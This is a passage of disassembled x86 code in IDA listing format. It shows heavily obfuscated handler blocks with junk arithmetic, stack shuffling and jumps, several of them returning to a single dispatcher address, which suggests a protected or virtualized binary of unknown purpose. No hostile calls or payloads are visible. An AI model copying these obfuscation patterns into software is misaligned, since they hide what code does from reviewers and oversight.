loc_58286C:				; CODE XREF: ud2_____:00591530j
		add	ebx, 3D443FBCh
		add	ebx, eax
		sub	ebx, 3D443FBCh
		jmp	loc_58AC89
; ---------------------------------------------------------------------------


loc_58287F:				; CODE XREF: ud2_____:00590305j
		pop	esp
		push	eax
		push	1D2h
		jmp	loc_589E19
; ---------------------------------------------------------------------------


loc_58288B:				; CODE XREF: ud2_____:0059137Aj
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		jmp	loc_58424E
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_57EEF8
; ---------------------------------------------------------------------------


loc_5828A8:				; CODE XREF: ud2_____:005855B0j
		add	esp, 4
		or	ah, 71h
		jmp	loc_580068
; ---------------------------------------------------------------------------


loc_5828B3:				; CODE XREF: ud2_____:0058F28Aj
		xor	[esp], ecx
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_58DC38
; ---------------------------------------------------------------------------


loc_5828C1:				; CODE XREF: ud2_____:005825DCj
		xor	ebx, ebp
		mov	ebp, [esp]
		add	esp, 4
		add	eax, 666F3C76h
		add	eax, ebx
		push	ebp
		mov	ebp, 3FC535A2h
		shl	ebp, 4
		jmp	loc_57FF04
; ---------------------------------------------------------------------------


loc_5828DE:				; CODE XREF: ud2_____:0057F7D0j
		mov	eax, 56D42F15h
		add	[esp+4], eax
		mov	eax, [esp]
		add	esp, 4
		sub	dword ptr [esp], 2D6916F3h
		push	edx
		jmp	loc_590A25
; ---------------------------------------------------------------------------


loc_5828FD:				; CODE XREF: ud2_____:00592CB7j
		pop	esp
		jmp	loc_57F856
; ---------------------------------------------------------------------------


loc_582903:				; CODE XREF: ud2_____:0058F5A3j
		add	eax, ebp
		jmp	loc_583B10
; ---------------------------------------------------------------------------


loc_58290A:				; CODE XREF: ud2_____:0057F8B5j
		push	3C20h
		mov	[esp], ebx
		mov	ebx, 47432B3Ah
		add	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		sub	eax, 6B2B1A9Ch
		xor	eax, 9FBD7026h
		sub	esi, eax
		pop	eax
		jmp	loc_592CE7
; ---------------------------------------------------------------------------


loc_582934:				; CODE XREF: ud2_____:00581B84j
		mov	esi, 37717F35h
		jmp	loc_592130
; ---------------------------------------------------------------------------


loc_58293E:				; CODE XREF: ud2_____:00585F70j
		push	edx
		jmp	loc_582284
; ---------------------------------------------------------------------------


loc_582944:				; CODE XREF: ud2_____:00580CCEj
		add	eax, 4
		add	eax, 4
		jmp	loc_585406
; ---------------------------------------------------------------------------


loc_582951:				; CODE XREF: ud2_____:00588808j
		pop	ecx
		add	ebp, 4
		jmp	loc_58F148
; ---------------------------------------------------------------------------


loc_58295A:				; CODE XREF: ud2_____:0058EE94j
		pop	eax
		add	esp, 4
		push	edx
		mov	edx, 301B0373h
		xor	edx, 1AA64649h
		jmp	loc_58CACD
; ---------------------------------------------------------------------------


loc_58296F:				; CODE XREF: ud2_____:0058E541j
		mov	esi, esp
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 49624294h
		sub	eax, 0CC16A15h
		and	eax, 535C68C6h
		and	eax, 146972D3h
		xor	eax, 10004046h
		add	esi, eax
		pop	eax
		sub	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		jmp	loc_58CEC4
; ---------------------------------------------------------------------------


loc_5829A7:				; CODE XREF: ud2_____:0058A5E4j
		add	esp, 4
		push	ebx
		mov	ebx, 2
		push	ebp
		mov	ebp, 48247288h
		add	edi, ebp
		pop	ebp
		jmp	loc_57F258
; ---------------------------------------------------------------------------


loc_5829C1:				; CODE XREF: ud2_____:005923D7j
		push	edx
		mov	edx, 1102791Fh
		sub	edx, 66977A31h
		and	edx, 1F123C1h
		not	edx
		jmp	loc_5847A3
; ---------------------------------------------------------------------------


loc_5829DA:				; CODE XREF: ud2_____:0058976Aj
		mov	edx, 72F555C0h
		sub	edx, 17155EFAh
		dec	edx
		add	edx, 0D4A241Fh
		jmp	loc_5927EF
; ---------------------------------------------------------------------------


loc_5829F1:				; CODE XREF: ud2_____:0058EEE7j
		dec	edi
		xor	edi, 1EB238EFh
		add	esi, 67B50BC7h
		sub	esi, 40C30AE5h
		add	esi, edi
		jmp	loc_585824
; ---------------------------------------------------------------------------


loc_582A0B:				; CODE XREF: ud2_____:0058BDDAj
		mov	ecx, 4A184357h
		jmp	loc_584B2B
; ---------------------------------------------------------------------------


loc_582A15:				; CODE XREF: ud2_____:00590C37j
		push	edi
		mov	edi, 2
		add	ebp, edi
		mov	edi, [esp]
		add	esp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		movsx	cx, al
		push	small 635Dh
		mov	[esp], cx
		jmp	loc_57E07A
; ---------------------------------------------------------------------------


loc_582A40:				; CODE XREF: ud2_____:00581477j
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], edi
		push	esp
		mov	edi, [esp]
		push	535Bh
		mov	[esp], edi
		push	esp
		pop	edi
		push	ecx
		jmp	loc_57E9D7
; ---------------------------------------------------------------------------


loc_582A61:				; CODE XREF: ud2_____:00591A46j
		sub	esp, 4
		jmp	loc_5802D4
; ---------------------------------------------------------------------------


loc_582A69:				; CODE XREF: ud2_____:005904ABj
		xor	eax, [esp]
		mov	esp, [esp]
		jmp	loc_590027
; ---------------------------------------------------------------------------


loc_582A74:				; CODE XREF: ud2_____:0058D213j
		sub	dh, 6
		add	al, 0DCh
		add	al, dh
		sub	al, 0DCh
		pop	edx
		add	al, 62h
		push	ecx
		mov	ch, 82h
		not	ch
		add	ch, 0CFh
		sub	al, ch
		pop	ecx
		sub	al, bl
		push	ecx
		mov	cl, 7Ch
		shr	cl, 2
		dec	cl
		neg	cl
		jmp	loc_586ABD
; ---------------------------------------------------------------------------


loc_582A9C:				; CODE XREF: ud2_____:00592553j
		pop	edx
		push	ecx
		mov	ecx, 68427900h
		push	edi
		mov	edi, 1
		add	ecx, edi
		pop	edi
		jmp	loc_592117
; ---------------------------------------------------------------------------


loc_582AB1:				; CODE XREF: ud2_____:00591670j
		mov	ebp, [esp]
		push	1DE2h
		mov	[esp], ebx
		sub	esp, 4
		push	esp
		jmp	loc_57EBF0
; ---------------------------------------------------------------------------


loc_582AC5:				; CODE XREF: ud2_____:00588827j
		sub	edi, 33783280h
		xor	edi, 4C9D7B1h
		mov	edx, edi
		mov	edi, [esp]
		add	esp, 4
		add	ecx, 3993456Ah
		add	ecx, edx
		jmp	loc_57F11A
; ---------------------------------------------------------------------------


loc_582AE6:				; CODE XREF: ud2_____:0058A436j
		add	esp, 4
		add	edi, esi
		sub	edi, 1D5C4311h
		pop	esi
		not	edi
		xor	edi, 4F5636C1h
		jmp	loc_582B62
; ---------------------------------------------------------------------------


loc_582AFF:				; CODE XREF: ud2_____:005858F6j
		add	ebp, 0FFFFFFFFh
		push	eax
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 32414FFBh
		mov	eax, ecx
		jmp	loc_585CB8
; ---------------------------------------------------------------------------


loc_582B15:				; CODE XREF: ud2_____:00592B08j
		add	esp, 4
		add	esp, 4
		sub	eax, 552D78A1h
		push	edx
		push	266845BCh
		pop	edx
		inc	edx
		and	edx, 3B9D009Fh
		neg	edx
		and	edx, 23D74840h
		sub	edx, 0FAAD2268h
		sub	eax, edx
		pop	edx
		jmp	loc_589886
; ---------------------------------------------------------------------------


loc_582B44:				; CODE XREF: ud2_____:0057F6D8j
		sub	eax, ebx
		jmp	loc_58C25D
; ---------------------------------------------------------------------------


loc_582B4B:				; CODE XREF: ud2_____:00586C77j
		pop	ecx
		xchg	ebx, [esp]
		pop	esp
		xchg	edi, [esp]
		mov	esp, [esp]
		imul	cx, ax
		push	cx
		pushf
		jmp	loc_57E07A
; ---------------------------------------------------------------------------


loc_582B62:				; CODE XREF: ud2_____:00582AFAj
		add	edi, 0FFFFFFFFh
		shl	edi, 2
		sub	edi, 2F1A3001h
		push	eax
		mov	eax, 1C7D4C91h
		add	eax, 5B3C79FAh
		or	eax, 465D65EBh
		xchg	eax, ebx
		not	ebx
		xchg	eax, ebx
		push	ecx
		mov	ecx, 633A6C7Eh
		xor	eax, ecx
		pop	ecx
		inc	eax
		xor	eax, 0F272203Bh
		add	ebx, eax
		jmp	loc_589E5F
; ---------------------------------------------------------------------------


loc_582B9B:				; CODE XREF: ud2_____:0058F469j
		pop	esp
		add	esi, 4
		push	edx
		mov	edx, 6B1F3502h
		shl	edx, 3
		jmp	loc_588940
; ---------------------------------------------------------------------------


loc_582BB0:				; CODE XREF: ud2_____:0058C0ACj
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_588FE9
; ---------------------------------------------------------------------------


loc_582BC2:				; CODE XREF: ud2_____:005819A7j
		push	edx
		mov	dl, 82h
		jmp	loc_585A34
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		jmp	loc_5889F0
; ---------------------------------------------------------------------------


loc_582BD2:				; CODE XREF: ud2_____:005885E4j
		pop	ebp
		sub	edi, 4
		push	edi
		push	dword ptr [esp+4]
		jmp	loc_588BF2
; ---------------------------------------------------------------------------


loc_582BE0:				; CODE XREF: ud2_____:0058D51Aj
		pop	ebx
		add	ebx, 4
		push	esi
		mov	esi, 2
		add	ebx, esi
		mov	esi, [esp]
		jmp	loc_58AE56
; ---------------------------------------------------------------------------


loc_582BF7:				; CODE XREF: ud2_____:0058D7CDj
		inc	ecx
		sub	ecx, 49ED3099h
		xor	ecx, 9F4B348Bh
		jmp	loc_58BD27
; ---------------------------------------------------------------------------


loc_582C09:				; CODE XREF: ud2_____:0058CFAFj
		mov	esp, [esp]
		push	esi
		push	6701h
		mov	[esp], ebx
		mov	ebx, 23BA7BE3h
		mov	esi, 0DC45841Eh
		jmp	loc_5908FF
; ---------------------------------------------------------------------------


loc_582C24:				; CODE XREF: ud2_____:00591907j
		jmp	loc_57E07A
; ---------------------------------------------------------------------------


loc_582C29:				; CODE XREF: ud2_____:0058D720j
		mov	esp, [esp]
		mov	[esp], dx
		push	ax
		pushf
		jmp	loc_57E8A1
; ---------------------------------------------------------------------------


loc_582C38:				; CODE XREF: ud2_____:00586CBBj
		pop	edi
		mov	ecx, [esp]
		add	esp, 4
		push	ebp
		push	edi
		mov	edi, 44210BF4h
		mov	ebp, 2595FDB5h
		add	ebp, edi
		pop	edi
		xor	ecx, ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_58456C
; ---------------------------------------------------------------------------


loc_582C61:				; CODE XREF: ud2_____:0058B0ACj
		xor	edx, 56A71E12h
		and	edx, 1CB409ACh
		shr	edx, 7
		sub	edx, 396013h
		sub	esi, edx
		pop	edx
		push	dword ptr [edi+24h]
		jmp	loc_58CDB9
; ---------------------------------------------------------------------------


loc_582C81:				; CODE XREF: ud2_____:00581CFBj
		mov	[esp], ebx
		xchg	edx, [esp]
		xchg	edi, edx
		not	edi
		xchg	edi, edx
		xchg	edx, [esp]
		pop	ebx
		push	4F45h
		jmp	loc_58BA65
; ---------------------------------------------------------------------------


loc_582C9B:				; CODE XREF: ud2_____:0058041Fj
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		push	edi
		mov	edi, 4
		sub	ebp, edi
		pop	edi
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		push	eax
		push	61A3h
		mov	[esp], ecx
		push	edi
		mov	edi, 1E921158h
		mov	ecx, edi
		pop	edi
		push	ecx
		pop	eax
		pop	ecx
		push	ecx
		push	73231576h
		push	dword ptr [esp]
		mov	ecx, [esp]
		jmp	loc_58BE2E
; ---------------------------------------------------------------------------


loc_582CDC:				; CODE XREF: ud2_____:0058C01Bj
		mov	ebx, eax
		pop	eax
		push	ecx
		mov	ecx, 1D931A0Fh
		add	ecx, 76B205DDh
		xor	ecx, 9BA46C23h
		sub	edi, ecx
		mov	ecx, [esp]
		add	esp, 4
		sub	edi, 3B4B63A9h
		add	edi, ebx
		add	edi, 3B4B63A9h
		push	ebx
		jmp	loc_581009
; ---------------------------------------------------------------------------


loc_582D0D:				; CODE XREF: ud2_____:00591BD5j
		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, 4
		jmp	loc_580847
; ---------------------------------------------------------------------------


loc_582D1B:				; CODE XREF: ud2_____:005867A0j
		xor	ebp, edx
		jmp	loc_58610A
; ---------------------------------------------------------------------------


loc_582D22:				; CODE XREF: ud2_____:0058334Ej
		add	ebx, ebp
		mov	ebp, [esp]
		add	esp, 4
		push	eax
		mov	eax, 7AA85F62h
		xor	eax, 30903082h
		jmp	loc_57E7C2
; ---------------------------------------------------------------------------


loc_582D3A:				; CODE XREF: ud2_____:00586737j
		shr	ecx, 6
		jmp	loc_588860
; ---------------------------------------------------------------------------


loc_582D42:				; CODE XREF: ud2_____:0058C371j
		xor	ebp, 72973E41h
		add	ebx, ebp
		pop	ebp
		sub	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_58E079
; ---------------------------------------------------------------------------


loc_582D56:				; CODE XREF: ud2_____:00591057j
		add	edx, 2B3260E2h
		or	eax, edx
		pop	edx
		shr	eax, 8
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 979172A1h
		jmp	loc_583224
; ---------------------------------------------------------------------------


loc_582D72:				; CODE XREF: ud2_____:00587F21j
		pop	ecx
		jmp	loc_58508D
; ---------------------------------------------------------------------------


loc_582D78:				; CODE XREF: ud2_____:0057EC45j
		xor	bl, 7Ch
		sub	esp, 4
		jmp	loc_57F52E
; ---------------------------------------------------------------------------


loc_582D83:				; CODE XREF: ud2_____:0058CE9Fj
		add	ecx, 5E3A619Ah
		jmp	loc_58890A
; ---------------------------------------------------------------------------


loc_582D8E:				; CODE XREF: ud2_____:00592952j
		pop	edi
		xchg	edx, [esp]
		pop	esp
		jmp	loc_5869F0
; ---------------------------------------------------------------------------


loc_582D98:				; CODE XREF: ud2_____:0058CD88j
		imul	cl
		movzx	cx, ah
		jmp	loc_58E3A8
; ---------------------------------------------------------------------------


loc_582DA3:				; CODE XREF: ud2_____:0058DEA0j
		jmp	loc_57E07A
; ---------------------------------------------------------------------------


loc_582DA8:				; CODE XREF: ud2_____:0058178Bj
		push	dword ptr [esp]
		pop	eax
		jmp	loc_589FEC
; ---------------------------------------------------------------------------


loc_582DB1:				; CODE XREF: ud2_____:0058F806j
		mov	[esp], edx
		mov	dh, al
		push	ebx
		mov	bl, dh
		jmp	loc_57FED4
; ---------------------------------------------------------------------------


loc_582DBE:				; CODE XREF: ud2_____:00591F43j
		push	329Dh
		mov	[esp], edi
		xor	dword ptr [esp], 58B176D3h
		pop	ebx
		xor	ebx, 58B176D3h
		mov	edi, [esp]
		jmp	loc_590D68
; ---------------------------------------------------------------------------


loc_582DDC:				; CODE XREF: ud2_____:00580DA9j
		mov	ebp, [esp]
		add	esp, 4
		push	esi
		push	1D5A12A0h
		pop	esi
		push	57C1h
		mov	[esp], edi
		mov	edi, 30A306AAh
		or	esi, edi
		pop	edi
		push	ebp
		mov	ebp, 200B77ACh
		push	ebp
		push	edi
		pop	ebp
		mov	edi, [esp]
		add	esp, 4
		not	edi
		push	ebp
		push	342h
		mov	[esp], edi
		jmp	loc_58B193
; ---------------------------------------------------------------------------


loc_582E18:				; CODE XREF: ud2_____:00581C01j
		push	edx
		mov	edx, 4
		add	ecx, edx
		pop	edx
		push	21AEh
		mov	[esp], ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		pop	esp
		push	2048h
		mov	[esp], ebp
		xor	dword ptr [esp], 4E7D1E9Ch
		jmp	loc_581A84
; ---------------------------------------------------------------------------


loc_582E46:				; CODE XREF: ud2_____:0057E442j
		push	ebp
		mov	ebp, 3C423F88h
		jmp	loc_585ED7
; ---------------------------------------------------------------------------


loc_582E51:				; CODE XREF: ud2_____:00583B0Bj
		add	ebp, 0C856F32h
		add	ebp, 9FF189B7h
		mov	edi, ebp
		pop	ebp
		inc	edi
		shr	edi, 2
		shl	edi, 4
		not	edi
		sub	esp, 4
		jmp	loc_5908F7
; ---------------------------------------------------------------------------


loc_582E71:				; CODE XREF: ud2_____:0058881Dj
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		mov	[esp], ebp
		push	ecx
		jmp	loc_583F40
; ---------------------------------------------------------------------------


loc_582E8C:				; CODE XREF: ud2_____:00583262j
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		mov	esp, [esp]
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_57E514
; ---------------------------------------------------------------------------


loc_582EA2:				; CODE XREF: ud2_____:00584B6Dj
		mov	esi, [esp]
		add	esp, 4
		mov	ebp, [esp]
		add	esp, 4
		xor	eax, edi
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		jmp	loc_5834C7
; ---------------------------------------------------------------------------


loc_582EC5:				; CODE XREF: ud2_____:0058C6ACj
		pop	edi
		mov	eax, edx
		mov	edx, [esp]
		jmp	loc_58BC2D
; ---------------------------------------------------------------------------


loc_582ED0:				; CODE XREF: ud2_____:00588E77j
		add	al, 0E6h
		sub	al, bl
		sub	al, 0E6h
		add	al, 65h
		push	small 4480h
		mov	[esp], cx
		jmp	loc_587278
; ---------------------------------------------------------------------------


loc_582EE5:				; CODE XREF: ud2_____:0057E519j
		jmp	loc_57E07A
; ---------------------------------------------------------------------------


loc_582EEA:				; CODE XREF: ud2_____:0058B911j
		push	ecx
		jmp	loc_580032
; ---------------------------------------------------------------------------


loc_582EF0:				; CODE XREF: ud2_____:0057EE37j
		not	bh
		inc	bh
		xor	bh, 0AEh
		jmp	loc_5840D3
; ---------------------------------------------------------------------------


loc_582EFC:				; CODE XREF: ud2_____:005854C5j
		pop	eax
		sub	eax, 3201197h
		pop	ebp
		push	ebp
		mov	ebp, 473A4D76h
		xor	ebp, 1D012593h
		or	ebp, 58C6C7Ah
		add	ebp, 0ADFDD247h
		jmp	loc_58CE49
; ---------------------------------------------------------------------------


loc_582F20:				; CODE XREF: ud2_____:005842EEj
		add	ebx, ebp
		pop	ebp
		jmp	loc_58EBE5
; ---------------------------------------------------------------------------


loc_582F28:				; CODE XREF: ud2_____:00588EBBj
		pop	esp
		push	edi
		jmp	loc_582345
; ---------------------------------------------------------------------------


loc_582F2F:				; CODE XREF: ud2_____:0059221Dj
		push	eax
		jmp	loc_5843E5
; ---------------------------------------------------------------------------


loc_582F35:				; CODE XREF: ud2_____:0057E4D0j
		mov	[esp], esi
		mov	esi, esp
		jmp	loc_586F91
; ---------------------------------------------------------------------------


loc_582F3F:				; CODE XREF: ud2_____:0057E853j
		push	ecx
		mov	ecx, 69D8546Ah
		sub	edx, ecx
		pop	ecx
		push	esi
		jmp	loc_590FAF
; ---------------------------------------------------------------------------


loc_582F4E:				; CODE XREF: ud2_____:00581556j
		add	bp, 2BD3h
		add	bp, 0E3C0h
		push	bp
		not	word ptr [esp]
		pop	bp
		jmp	loc_580BC3
; ---------------------------------------------------------------------------


loc_582F65:				; CODE XREF: ud2_____:0058B194j
		mov	edi, [esp]
		add	esp, 4
		dec	ebp
		inc	ebp
		xor	ebp, 956DF76Fh
		xor	esi, ebp
		mov	ebp, [esp]
		add	esp, 4
		neg	esi
		not	esi
		add	esi, 5C310C94h
		jmp	loc_58F49A
; ---------------------------------------------------------------------------


loc_582F8D:				; CODE XREF: ud2_____:00580874j
		pop	esp
		mov	[esp], edx
		push	3149h
		mov	[esp], ecx
		jmp	loc_583D0B
; ---------------------------------------------------------------------------


loc_582F9E:				; CODE XREF: ud2_____:005808DBj
		push	cx
		mov	ch, 3Ch
		and	ch, 3Dh
		shl	ch, 6
		dec	ch
		push	ax
		mov	al, 0E7h
		xor	ch, al
		pop	ax
		not	ch
		sub	ch, 0B8h
		xor	dh, ch
		mov	cx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 2
		xchg	ecx, [esp]
		pop	esp
		add	bl, 0B1h
		sub	bl, dh
		push	cx
		mov	ch, 0B1h
		jmp	loc_586AA5
; ---------------------------------------------------------------------------


loc_582FDE:				; CODE XREF: ud2_____:0058795Dj
		neg	edi
		push	edi
		neg	dword ptr [esp]
		jmp	loc_587A28
; ---------------------------------------------------------------------------


loc_582FE9:				; CODE XREF: ud2_____:00586AB8j
		shl	ch, 6
		or	ch, 12h
		dec	ch
		sub	ch, 6Bh
		shr	ch, 8
		push	dx
		mov	dh, 0D5h
		xor	ch, dh
		pop	dx
		mov	al, ch
		jmp	loc_5836E4
; ---------------------------------------------------------------------------


loc_583006:				; CODE XREF: ud2_____:0058B3D7j
		xor	[esp], edx
		jmp	loc_57E2B6
; ---------------------------------------------------------------------------


loc_58300E:				; CODE XREF: ud2_____:0057FF07j
		sub	ebp, 0C33DD38Ah
		sub	eax, ebp
		pop	ebp
		jmp	loc_587B8F
; ---------------------------------------------------------------------------


loc_58301C:				; CODE XREF: ud2_____:0057F9E7j
		push	edx
		mov	edx, 4
		mov	ecx, edx
		pop	edx
		add	ebx, 217E232Fh
		add	ebx, ecx
		sub	ebx, 217E232Fh
		pop	ecx
		xchg	ebx, [esp]
		pop	esp
		xchg	eax, [esp]
		mov	esp, [esp]
		sar	byte ptr [esp],	cl
		pushf
		jmp	loc_57E07A
; ---------------------------------------------------------------------------


loc_583047:				; CODE XREF: ud2_____:00592E94j
		mov	bl, 40h
		jmp	loc_5908DB
; ---------------------------------------------------------------------------


loc_58304E:				; CODE XREF: ud2_____:0058DA41j
		mov	[esp], ecx
		push	3ED4016Dh
		pop	ecx
		shl	ecx, 7
		push	esi
		jmp	loc_590090
; ---------------------------------------------------------------------------


loc_583060:				; CODE XREF: ud2_____:0058558Ej
		mov	eax, [esp]
		add	esp, 4
		add	bl, 15h
		mov	edx, [esp]
		add	esp, 4
		sub	al, bl
		pop	bx
		add	al, bl
		jmp	loc_5866C9
; ---------------------------------------------------------------------------


loc_583080:				; CODE XREF: ud2_____:0058D976j
		push	dword ptr [esp]
		pop	ebx
		push	ecx
		push	esp
		pop	ecx
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp


loc_583097:				; CODE XREF: ud2_____:00585777j
		push	ecx
		push	ebx
		add	dword ptr [esp], 6A301189h
		pop	ecx
		jmp	loc_586B3D
; ---------------------------------------------------------------------------


loc_5830A6:				; CODE XREF: ud2_____:0058AD6Fj
		pop	eax
		add	ebx, edi
		add	ebx, 5664373Dh
		jmp	loc_588039
; ---------------------------------------------------------------------------


loc_5830B4:				; CODE XREF: ud2_____:005878EBj
		mov	edi, 7ACE110Dh
		add	edi, 1
		inc	edi
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_58D1D4
; ---------------------------------------------------------------------------


loc_5830CB:				; CODE XREF: ud2_____:0058D648j
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 7538419Ch
		and	eax, 6D045328h
		xor	eax, 5F9F612Dh
		jmp	loc_581B9A
; ---------------------------------------------------------------------------


loc_5830E8:				; CODE XREF: ud2_____:0058C8A7j
		mov	ecx, 503A52BEh
		xor	ecx, ebx
		mov	ebx, [esp]
		jmp	loc_57F160
; ---------------------------------------------------------------------------


loc_5830F7:				; CODE XREF: ud2_____:00583363j
		pop	esi
		jmp	loc_5861BE
; ---------------------------------------------------------------------------


loc_5830FD:				; CODE XREF: ud2_____:0059074Dj
		push	edx
		mov	edx, 73C04B74h
		or	ebx, edx
		pop	edx
		jmp	loc_582790
; ---------------------------------------------------------------------------


loc_58310B:				; CODE XREF: ud2_____:0057FE21j
		sub	esi, 13EF260Bh
		jmp	loc_57FB25
; ---------------------------------------------------------------------------


loc_583116:				; CODE XREF: ud2_____:005888EAj
		push	dword ptr [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		add	esp, 4
		add	esp, 4
		jmp	loc_58B265
; ---------------------------------------------------------------------------


loc_583136:				; CODE XREF: ud2_____:00581D79j
		add	esi, ebp
		mov	ebp, [esp]
		jmp	loc_591D2B
; ---------------------------------------------------------------------------


loc_583140:				; CODE XREF: ud2_____:0059185Dj
		pop	edx
		jmp	loc_57FC42
; ---------------------------------------------------------------------------


loc_583146:				; CODE XREF: ud2_____:0058E947j
		sub	esp, 4
		jmp	loc_583F60
; ---------------------------------------------------------------------------


loc_583151:				; CODE XREF: ud2_____:0058F6B4j
		shl	eax, 1
		push	ecx
		jmp	loc_58595D
; ---------------------------------------------------------------------------


loc_583159:				; CODE XREF: ud2_____:00581FBEj
		push	41B2h
		jmp	loc_587E63
; ---------------------------------------------------------------------------


loc_583163:				; CODE XREF: ud2_____:005841B8j
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		sub	esp, 4
		mov	[esp], esi
		push	7BB1h
		mov	[esp], ebp
		push	34D60305h
		pop	ebp
		or	ebp, 77570203h
		shl	ebp, 8
		jmp	loc_590960
; ---------------------------------------------------------------------------


loc_583193:				; CODE XREF: ud2_____:0058487Fj
		mov	esp, [esp]
		jmp	loc_58C6A5
; ---------------------------------------------------------------------------


loc_58319B:				; CODE XREF: ud2_____:0057E38Fj
		push	dword ptr [esp]
		pop	edx
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_58D73F
; ---------------------------------------------------------------------------


loc_5831AD:				; CODE XREF: ud2_____:00582065j
		pop	dx
		jmp	loc_5813E9
; ---------------------------------------------------------------------------


loc_5831B4:				; CODE XREF: ud2_____:0058829Fj
		add	edx, 0B541D3Ah
		add	edx, ebp
		sub	edx, 0B541D3Ah
		mov	ebp, [esp]
		jmp	loc_587B1C
; ---------------------------------------------------------------------------


loc_5831CA:				; CODE XREF: ud2_____:0058D3DCj
		pop	ebp
		sub	ecx, eax
		pop	eax
		jmp	loc_587AA9
; ---------------------------------------------------------------------------


loc_5831D3:				; CODE XREF: ud2_____:00582502j
		add	eax, 0FE2CD401h
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_583575
; ---------------------------------------------------------------------------


loc_5831E3:				; CODE XREF: ud2_____:00588A1Bj
		mov	ecx, edx
		jmp	loc_584432
; ---------------------------------------------------------------------------


loc_5831EA:				; CODE XREF: ud2_____:005851C1j
		mov	edi, 798446A4h
		not	edi
		push	eax
		mov	eax, 0F0C7E351h
		xor	edi, eax
		pop	eax
		add	ebp, edi
		pop	edi
		pop	eax
		push	ebp
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		jmp	loc_587EA9
; ---------------------------------------------------------------------------


loc_58320B:				; CODE XREF: ud2_____:0057FFD6j
		inc	cl
		push	ax
		sub	esp, 4
		mov	[esp], ecx
		mov	ch, 5Dh
		mov	al, ch
		mov	ecx, [esp]
		jmp	loc_57E3EF
; ---------------------------------------------------------------------------


loc_583224:				; CODE XREF: ud2_____:00582D6Dj
		sub	eax, edi
		pop	edi
		mov	edi, eax
		mov	eax, [esp]
		add	esp, 4
		xor	edi, 3D2A7661h
		push	2C0Ch
		jmp	loc_58B95A
; ---------------------------------------------------------------------------


loc_58323F:				; CODE XREF: ud2_____:0057E3DAj
		sub	esp, 4
		jmp	loc_58AEF5
; ---------------------------------------------------------------------------


loc_58324A:				; CODE XREF: ud2_____:0058EB45j
		push	eax
		push	dword ptr [esp+4]
		mov	eax, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		push	edx
		jmp	loc_582E8C
; ---------------------------------------------------------------------------


loc_583267:				; CODE XREF: ud2_____:00580940j
		mov	ebx, 4
		add	esi, 661A1326h
		sub	esi, ebx
		sub	esi, 661A1326h
		pop	ebx
		xchg	esi, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		push	esp
		pop	eax
		add	eax, 4
		add	eax, 4
		jmp	loc_592670
; ---------------------------------------------------------------------------


loc_583293:				; CODE XREF: ud2_____:0058C5F1j
		push	0BC9104Ah
		mov	edi, [esp]
		add	esp, 4
		push	edx
		mov	edx, 660A5BD0h
		add	edx, 62FA4898h
		xor	edx, 0DB5FBB60h
		sub	edx, 2FE12E99h
		push	ecx
		mov	ecx, 181E2636h
		push	ebx
		mov	ebx, 39F80443h
		jmp	loc_591FFF
; ---------------------------------------------------------------------------


loc_5832C7:				; CODE XREF: ud2_____:00588989j
		add	ebp, 18613AC6h
		jmp	loc_58112C
; ---------------------------------------------------------------------------


loc_5832D2:				; CODE XREF: ud2_____:0058C26Ej
		pop	dx
		add	al, 9Fh
		sub	al, bh
		sub	al, 9Fh
		add	al, 36h
		push	dword ptr [esp]
		pop	ebx
		push	ebx
		mov	ebx, esp
		jmp	loc_58A370
; ---------------------------------------------------------------------------


loc_5832E8:				; CODE XREF: ud2_____:00583A50j
		jmp	loc_57E07A
; ---------------------------------------------------------------------------


loc_5832ED:				; CODE XREF: ud2_____:0057EF68j
		mov	[esp], esp
		jmp	loc_589D8C
; ---------------------------------------------------------------------------


loc_5832F5:				; CODE XREF: ud2_____:00587BE3j
		add	edi, esi
		add	edi, 54DE0CF6h
		push	ebx
		mov	ebx, 22801FF7h
		sub	edi, ebx
		jmp	loc_590D5C
; ---------------------------------------------------------------------------


loc_58330A:				; CODE XREF: ud2_____:0058EBFBj
		inc	ebp
		push	esi
		push	372A960Ah
		jmp	loc_58D2F9
; ---------------------------------------------------------------------------


loc_583316:				; CODE XREF: ud2_____:0058CE44j
		xchg	ebx, [esp]
		jmp	loc_587045
; ---------------------------------------------------------------------------


loc_58331E:				; CODE XREF: ud2_____:0058717Fj
		pop	edx
		jmp	loc_58E551
; ---------------------------------------------------------------------------


loc_583324:				; CODE XREF: ud2_____:0057E49Cj
		pop	esp
		add	esp, 4
		push	edx
		push	esp
		jmp	loc_5844A3
; ---------------------------------------------------------------------------


loc_583332:				; CODE XREF: ud2_____:00585F79j
